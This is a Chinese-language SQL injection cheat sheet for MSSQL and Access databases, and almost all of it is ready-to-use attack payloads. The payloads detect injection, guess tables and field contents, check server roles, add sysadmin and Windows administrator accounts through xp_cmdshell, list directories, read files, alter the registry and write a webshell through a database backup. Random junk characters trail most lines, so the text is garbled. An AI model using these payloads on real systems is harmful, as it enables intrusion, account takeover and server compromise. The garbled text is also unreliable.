1.判断是否有注入;and 1=1 ;and 1=2 ^>[Z~G($
2.初步判断是否是mssql ;and user>0 D\>CEBt
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3.注入参数是字符'and [查询条件] and ''=' sz_|py?0
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' *V>Iv/(
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5.判断数据库系统 ;/$zBr`'
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;and (select count(*) from sysobjects)>0 mssql faThXq8B
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;and (select count(*) from msysobjects)>0 access +oeO0
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 @2]_jW
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 G=(F-U;*
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9.(1)猜字段的ascii值(access) *s<FE F
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 2?#IwT'
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(2)猜字段的ascii值(mssql) rE EWCt
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 }_Jr[iaB
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10.测试权限结构(mssql) hQvSh\p
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Kr!8H/Z
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- t(}\D]mj
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Pqi>,c<&mL
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- =.f]OWehu.
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- x<4-Q6'{S
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- TdlF~ca|
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;and 1=(select IS_MEMBER('db_owner'));-- OpA
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11.添加mssql和系统的帐户 x~rIr#o
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;exec master.dbo.sp_addlogin username;-- _py%L+&{
;exec master.dbo.sp_password null,username,password;-- lZ'-?xo
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- f =B)jYI
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;exec master.dbo.xp_cmdshell 'net user username password FE,&_J"
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- LSS3(l[,:
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 17
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 8(&Jy RT
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;create table dirs(paths varchar(100), id int) u|z B\zd
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;insert dirs exec master.dbo.xp_dirtree 'c:\' L&H4fy!>
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;and (select top 1 paths from dirs)>0 CXwDG_e
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 7g^=
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(2)遍历目录 yS%IE>?
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- I"eXoqh
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 rZm|7A)i
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 { AdPC?R`
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Q&S\?cKe
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Rs_bM@
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13.mssql中的存储过程 }@>=,A4Y
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xp_regenumvalues 注册表根键, 子键 dt%waM!
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 @=B'<&g$Xv
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xp_regread 根键,子键,键值名 :yO.Te
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Q{F*%X
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xp_regwrite 根键,子键, 值名, 值类型, 值 3eX;T +|o
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 m08:EXP
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xp_regdeletevalue 根键,子键,值名 :\[W]
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 $Kw)BnV
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 )D?\ru H
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14.mssql的backup创建webshell f Glvx~
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create table cmd(str image); f6@fi`U,
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insert into cmd(str) values (''); HF>Gf2-C
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backup database model to disk='c:\l.asp'; Jv(9w[
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15.mssql内置函数 8G@I e
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;and (select @@version)>0 获得Windows的版本号 #'m&<g,
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa v%N/mL+5L
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;and (select user_name())>0 爆当前系统的连接用户 lYEMrr!KQw
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;and (select db_name())>0 得到当前连接的数据库 el
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16.简洁的webshell R(_UR)G0 @
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